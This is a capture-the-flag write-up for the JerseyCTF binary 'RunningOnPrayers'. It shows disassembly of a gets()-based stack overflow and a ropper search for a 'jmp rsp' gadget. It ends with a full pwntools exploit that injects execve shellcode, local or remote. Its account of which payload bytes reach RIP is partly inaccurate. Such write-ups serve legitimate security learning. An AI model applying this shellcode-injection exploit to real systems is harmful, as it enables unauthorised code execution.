Tags: runningonprayers jerseyctf 

Rating: 5.0

**First thing i did was opening the binary in Ghidra
And there was only these two useful functions :**

**Vuln :**
```
undefined vuln()
undefined AL:1 <RETURN>
undefined1[32] Stack[-0x28] Buffer XREF[1]: 00401196(*)
vuln XREF[4]: Entry Point(*), main:00401215(c),
004020b4, 00402158(*)
00401176 f3 0f 1e fa ENDBR64
0040117a 55 PUSH RBP
0040117b 48 89 e5 MOV RBP,RSP
0040117e 48 83 ec 20 SUB RSP,0x20
00401182 48 8d 05 LEA RAX,[s_The_hard_part_is_not_finding_the_004020 = "The hard part is not finding
7f 0e 00 00
00401189 48 89 c7 MOV RDI=>s_The_hard_part_is_not_finding_the_004020 = "The hard part is not finding
0040118c b8 00 00 MOV EAX,0x0
00 00
00401191 e8 ca fe CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00401196 48 8d 45 e0 LEA RAX=>Buffer,[RBP + -0x20]
0040119a 48 89 c7 MOV RDI,RAX
0040119d b8 00 00 MOV EAX,0x0
00 00
004011a2 e8 c9 fe CALL <EXTERNAL>::gets char * gets(char * __s)
ff ff
004011a7 b8 00 00 MOV EAX,0x0
00 00
004011ac c9 LEAVE
004011ad c3 RET

```

**We observe a vulnerability in the function due to a lack of input validation. The program accepts user input without verifying its length, storing it in a fixed-size buffer of 32 bytes. This oversight creates a buffer overflow vulnerability, wherein input exceeding the buffer size can overwrite adjacent memory locations, leading to potential exploitation and compromising program integrity.
now lets take a look at the gift function :**

```
undefined gift()
undefined AL:1 <RETURN>
undefined2 Stack[-0xa]:2 local_a XREF[1]: 0040122d(W)
gift XREF[3]: Entry Point(*), 004020c4,
00402198(*)
00401221 f3 0f 1e fa ENDBR64
00401225 55 PUSH RBP
00401226 48 89 e5 MOV RBP,RSP
00401229 48 83 ec 10 SUB RSP,0x10
0040122d 66 c7 45 MOV word ptr [RBP + local_a],0xe4ff
fe ff e4
00401233 48 8d 05 LEA RAX,[s_Just_two_bytes,_hanging_out_toge_004020 = "Just two bytes, hanging out t
26 0e 00 00
0040123a 48 89 c7 MOV RDI=>s_Just_two_bytes,_hanging_out_toge_004020 = "Just two bytes, hanging out t
0040123d b8 00 00 MOV EAX,0x0
00 00
00401242 e8 19 fe CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00401247 b8 ff ff MOV EAX,0xffffffff
ff ff
0040124c c9 LEAVE
0040124d c3 RET

```
so there is nothing useful in this function like you might be used to in easier challenges, so we need to find a way to exploit this binary and find a way to get our flag, so i check checksec and i found that the nx is disabled , so we can manage to get our shellcode to execute , used the tool "Ropper" to check if there is any jmp rsp instructions in the binary so i can use it to inject a shellcode and it was there :)
```
ropper --file ./RunningOnPrayers --search "jmp rsp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp rsp

[INFO] File: ./RunningOnPrayers
0x0000000000401231: jmp rsp;
```
and i got the address of the gift function which was : *0x401221*

so now im ready to make my exploit after some debugging and checking how the binary going to handle my input
and its going to work like this
* 32 NOPS to overwrite registers till we get to the RIP Register
* writing the address of the gift function to the RIP so we can make our return
* then in the gift function we gonna overwrite the register again with the jump instruction address so we can make our jump to RSP
* and then fill the RSP with our shell code
Here's my Exploit :)

```
#!/usr/bin/env python3
import sys
import argparse
import io
from pwn import *
context.log_level = 'debug'

exe = context.binary = ELF(args.EXE or './RunningOnPrayers')

def start_local(args, argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(host, port, argv=[], *a, **kw):
return remote(host, port)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

parser = argparse.ArgumentParser(description='Exploit script')
parser.add_argument('mode', choices=['local', 'remote'], help='Mode: local or remote')
parser.add_argument('--GDB', action='store_true', help='Enable GDB debugging')
parser.add_argument('host', nargs='?', default='localhost', help='Remote host')
parser.add_argument('port', nargs='?', type=int, default=1337, help='Remote port')
args = parser.parse_args()

if args.mode == 'local':
start_func = lambda: start_local(args)
else:
start_func = lambda: start_remote(args.host, args.port)
p = b'\x90'*32 + p64(0x401221) + p64(0x401231) + asm(shellcraft.amd64.linux.sh())
io = start_func()
io.sendline(p)
io.interactive()
```

eternity.March 26, 2024, 4:22 a.m.

太菜了,没必要,就是一个jmp rsp的gadget加上execve的shellcode就行了